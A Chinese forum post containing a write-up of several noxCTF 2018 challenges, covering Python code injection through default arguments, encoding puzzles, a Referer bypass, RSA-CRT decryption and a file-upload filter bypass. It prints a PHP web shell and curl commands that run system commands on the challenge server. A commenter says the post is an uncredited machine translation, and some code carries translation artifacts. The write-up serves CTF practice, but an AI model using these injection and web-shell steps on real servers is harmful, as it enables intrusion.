用户
搜索
  • TA的每日心情
    开心
    2018-11-22 10:24
  • 签到天数: 3 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    8

    主题

    20

    帖子

    248

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-1-28

    i春秋签约作者

    发表于 2018-9-20 12:26:08 34964
    本帖最后由 icq_ed92dc16b 于 2018-10-1 19:49 编辑

    前言

    渣渣一枚,萌新一个,会划水,会喊六六(hhhhh)

    个人博客:https://www.cnblogs.com/lxz-1263030049/

    补一下关于noxCTF中的部分解题思路,毕竟自己太渣(Qrz),有些题目还是做不出来(QAQ),有什么错误的地方,希望各位大佬指点一下(thx)

    一:Python for fun

    欢迎来到noxale的在线python课程!!! 您可以在有限的时间内免费试用它并在python 3中学习基本编程:http://chal.noxale.com:8000/

    该网站有三个不同的页面用于教python 3.页面是'修复代码','匹配签名到正文','代码返回'。我们感兴趣的是'match signature to body'类,因为它允许我们设置python 3函数的参数并解释它。

    我们来看看它是否容易受到攻击。

    def fun(a,b,c=print('7' * 7)):
        c = a + b
        return c
    
    print(fun(10, 12) == 22)
    7777777
    True

    如您所见,它执行了我们的代码并打印了7777777

    让我们尝试列出工作目录下的文件

    def fun(a,b,c=print(__import__('os').listdir())):
    c = a + b
    return c
    
    print(fun(10, 12) == 22)
    
    ['db.sqlite3', 'learn_python', 'python_ctf_thing', 'Dockerfile', 'FLAG', 'manage.py', 'requirements.txt', 'templates']
    True

    只需要使用一个flag就可以得到答案:

    def fun(a,b,c=print(open('FLAG','r').read())):
    c = a + b
    return c
    
    print(fun(10, 12) == 22)
    
    noxCTF{py7h0n_15_4w350m3}
    
    True

    二:Read Between The Lines

    下载文件后,感觉该文件是一个gzip压缩存档。

    使用linux命令:

    $ file message.code

    message.code:gzip压缩数据,是“消息”

    $ mv message.code message.code.gz

    $ gzip -d message.code

    查看文件的内容,我看到一些代码,我认为这些代码是常见的JavaScript代码

    所以,让我们尝试在浏览器中运行代码,看看会发生什么。

    出现错误,只能慢慢查找资料(QAQ)  CTF中那些脑洞大开的编码和加密

    在这个强大的资料库里面就可以找到解码的网址:https://vii5ard.github.io/whitespace/

    把需要解密的密文放入并单击“运行”按钮,就会得到答案:

    三:Blind Date

    通过检查文件的数据,xxd我们注意到字节是乱码的

    在看了JPEG文件交换格式后,我们可以快速查看字节是如何被加扰的。 https://en.wikipedia.org/wiki/JPEG_File_Interchange_Format#File_format_structure

    该文件应以字节开头,FF D8 FF E0然后是一个2字节的值,用于保存段长度。接下来是JFIF标识符4A 46 49 46 00

    我们注意到它们只占用了4个字节的块,,我们只需要将他们反转就可以了

    f = open('BlindDate.jpeg',“rb”)
    s = f.read()
    f.close()
    
    data = '' 
    for i in range(0,len(s),4):
    data + = s [i:i + 4 ] [:: -1 ]
    
    nf = open('blind.jpeg','wb')
    nf.write(data)

    此脚本将还原的映像写入blind.jpeg

    字符串显示图像末尾有一些数据:

    一个base64字符串Li4gICAuICAuLiAgLi4gICAuICAuLiAgLi4gICAuICAuLiAgLiAgLi4NCi4gICAgLiAgIC4gICAgICAgLiAgICAgIC4gICAgLiAgIC4gIC4gIA0KICAgIC4uICAgICAgICAgIC4uICAgICAgLiAgIC4uICAgICAgLiAgLgPK,它解码为:

    .. .. .. .. .. .. .. 
    。。。。。。。。  
    .. .. .. 。

    文字是盲文翻译之后就会得到:F4C3P4LM

    接下来,我们使用binwalk提取blind.jpeg中的zip文件。

    打开zip文件发现需要密码 而我们已经得到盲文翻译后的答案,尝试一下可不可以解密 就会得到一个flag.txt文件

    此文件包含brainfuck代码并运行它打印最终标志。

    ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+.+++++++++.<---.+++++++++++++++++.--------------.>+++.<+++++++++++++++++.<++++++++++++++++++.>>------.---------.--------.-----.++++++++++++++++++++++++++.<<.>>----.<++++++++.+++.>---------.<<+.>>++.<++.-----.+++++.<+++.>>++++++.<<-.>-----.<+.>.+++.>--------.<<---.>>++.<++.-----.+++++.<+++.>>++++++.<<-.++++++++++++.>>+++++++++.<<<++++++++++++++++++++++.

    放进解密工具:Brainfuck

    解密之后就会得到答案:

    最后得到答案:noxCTF{W0uld_y0u_bl1nd_d4t3_4_bl1nd_d4t3?}

    四:Reference

    我们使用此URI启动挑战:

    http://chal.noxale.com:5000/

    打开这个页面,我们得到一个简单的网站,只包含明文“你来自哪个****?”。

    通过HTML文档挖掘,我们发现了一个脚本标记链接 /js/index.js

    在原始检查时,它是一个ajax函数,它根据对url的请求返回成功并可能标记或失败/check_from_google

    从挑战标题和url名称推断,/check_from_google我们必须将请求标头中的HTTP Referer字段设置为 url /check_from_google

    启动burp就可以,捕获请求并添加带有www.google.com值的referer字段。

    我们使用以下有效负载返回HTTP 200 OK

        bm94Q1RGe0cwb2dMM18xc180bFc0WXNfVXJfYjNTVF9SM2YzcjNuYzN9

    使用base64即可进行解密:

    noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}

    五:Chop Suey

    题目描述:

    Today I ate in a Chinese restaurant and got myself a fortune cookie. These things usually contain a note with a nice sentence or phrase, but mine had numbers in it instead! Can you help me find the meaning of the numbers?

    p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 
    
    q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 
    
    dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 
    
    dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 
    
    c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852

    因此,如果您已经学习了中国剩余定理,那么您肯定会知道这种RSA优化技术。
    它指出:

    dp = d (mod p-1)
    
    dq = d (mod q-1)

    使用这种方法比使用欧几里得中关于RSA的算法更快,如果没有pq,你将需要计算更多,而现在只需要看一下维基百科中的关于RSA算

    法使用中国剩余定理即可

    https://en.wikipedia.org/wiki/RSA_(cryptosystem)

    由于他们已经为我们提供了pq值!我们可以轻松地重新计算qinv

    构建qinv

    qinv = modinv(q, p)
    m2 = pow(c, dq, q)
    m1 = pow(c, dp, p)
    h = (qinv * (m1 - m2)) % p
    m = m2 + h * q

    完整脚本:

    from gmpy2 import *
    p=8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
    q=12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
    dp=6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
    dq=783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
    c=24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852
    def egcd(a, b):
        if a == 0:
           return (b, 0, 1)
        else:
            g, y, x = egcd(b % a, a)
            return (g, x - (b // a) * y, y)
    def modinv(a, m):
        g, x, y = egcd(a, m)
        if g != 1:
           raise Exception('modular inverse does not exist')
        else:
            return x % m
    qinv = modinv(q, p)
    m2 = pow(c, dq, q)
    m1 = pow(c, dp, p)
    h = (qinv * (m1 - m2)) % p
    m = m2 + h * q
    print(m)
    
    txt = hex(m)[2:]
    print ''.join([chr(int(''.join(c), 16)) for c in zip(txt[0::2],txt[1::2])])

    六:MyFileUploader

    首先使用第一种,比较常见的方式:

    由于该网站允许我们上传文件。让我们创建一个php shell文件,但将其保存为dummy.txt

    dummy.txt
    
    <?php
    system($_GET['cmd']);
    ?>

    然后,尝试上传它

    由提示可以看出,这个上传的文件它希望文件名包含.png / .jpg / .gif。让我们将dummy.txt文件重命名为dummy.png.txt并尝试再次上传

    File: dummy.png.txt
    
    Image uploaded to: <a href='uploads/dummy.png.txt'>Here</a>

    接下来我们看一下上传之后的网址:

    $ curl 'http://chal.noxale.com:8079/uploads/dummy.png.txt'
    <?php
    system($_GET['cmd']);
    ?>

    这个就表示我们已成功上传。我们试着查看/ uploads /下的内容

    我们可以看到这里面有一个名为“Don't open/”的目录。让我们看看里面是什么

    Options +Indexes
    AddType application/x-httpd-php .cyb3r

    从这里可以看出服务器使用PHP运行扩展名为.cyb3r的文件。

    因此我们需要将文件重命名为rce.png.cyb3r并重新上传,就会得到:

    我们可以由提示看出,我们成功上传了我们的shell文件。我们先来测试!!!

    首先:看一下 http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=whoami

    然后:http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=pwd

    接下来使用ls命令就可以得到想要的答案:

    $ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=ls"
    1.jpg
    1.jpg%00php
    1.php%00jpg
    1.php.jpg
    1jpg
    2.php%00jpg
    2.php.jpg
    2.php;.jpg
    7H3-FL4G-1S-H3r3
    Don't open
    dummy.png.txt
    exec.png.cyb3r
    gif.phpjpg
    gifjpg
    rce.png.cyb3r
    shell.png.cyb3r
    shell.png.phtml
    uploadTest.txt
    $ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=file%207H3-FL4G-1S-H3r3"
    7H3-FL4G-1S-H3r3: directory
    $ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=ls%207H3-FL4G-1S-H3r3"
    noxCTF{N3V3R_7RU57_07H3R5}

    最后得到答案:noxCTF{N3V3R_7RU57_07H3R5}

    第二种方法:

    打开链接:http://chal.noxale.com:8079

    让我们尝试上传这个非常可爱的zzkjRTe.jpg图片:

    正如我们所看到的,它还为我们提供了在服务器上找到此图片的路径:http://chal.noxale.com:8079/uploads/kittens.jpg

    在探索这条路径之前,让我们尝试上传一个非常简单的webshel​​l名为shell.php。它实际上是Arrexel的剧本。

    在我尝试了不同的东西之后,我理解我只需要放置.png,.jpg或者.gif在文件名中的任何位置。因此服务器仍将evilshell.jpg.php作为有效输

    入,但.php如果存在于文件名的末尾,它将自动擦除。那是一个问题。

    然后我去探索路径/uploads,我找到了一个名为Do not open的目录。你猜怎么了?我打开它。

    里面有着一个名为:.htaccess文件,内容对我们还是有很大的帮助:

    Options +Indexes
    AddType application/x-httpd-php .cyb3r

    这意味着任何以自制扩展名结尾的文件.cyb3r都将由服务器作为php代码处理。

    接下来就变得简单了许多

    让我们把我们的phpbash shell重命名为shell.png.cyb3r,然后上传它。

    成功了!现在的时刻......让我们导航到我们的上传路径......

    是的!得到了一个webshel​​l

    现在让我们列出这个名为7H3-FL4G-1S-H3r3文件夹里面的内容:

    最后答案:noxCTF{N3V3R_7RU57_07H3R5}

    参考资料:
    [b]noxCTF 2018:[/b] [color=#0000ff]https://rawsec.ml/en/noxCTF-2018-write-ups3/[/color]
    [color=#0000ff]
    [/color]phpbash:https://github.com/Arrexel/phpbash

    CTF中RSA的常见攻击方法 :  https://www.anquanke.com/post/id/84632

    CTF中那些脑洞大开的编码和加密:  https://www.tuicool.com/articles/2E3INnm

    RSA之中国剩余定理:  https://en.wikipedia.org/wiki/RSA_(cryptosystem)

    Brainfuck/Ook! Obfuscation/Encoding:  https://www.splitbrain.org/services/ook


    支持一下~
    使用道具 举报 回复
    用了rawsec队伍的WP,全文是百度翻译下来的,为啥不加上人家文章来源?图片啥的都没改....服了https://rawsec.ml/en/noxCTF-2018-write-ups3/
    使用道具 举报 回复
    发表于 2018-10-1 05:09:23
    支持一下
    路漫漫,
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册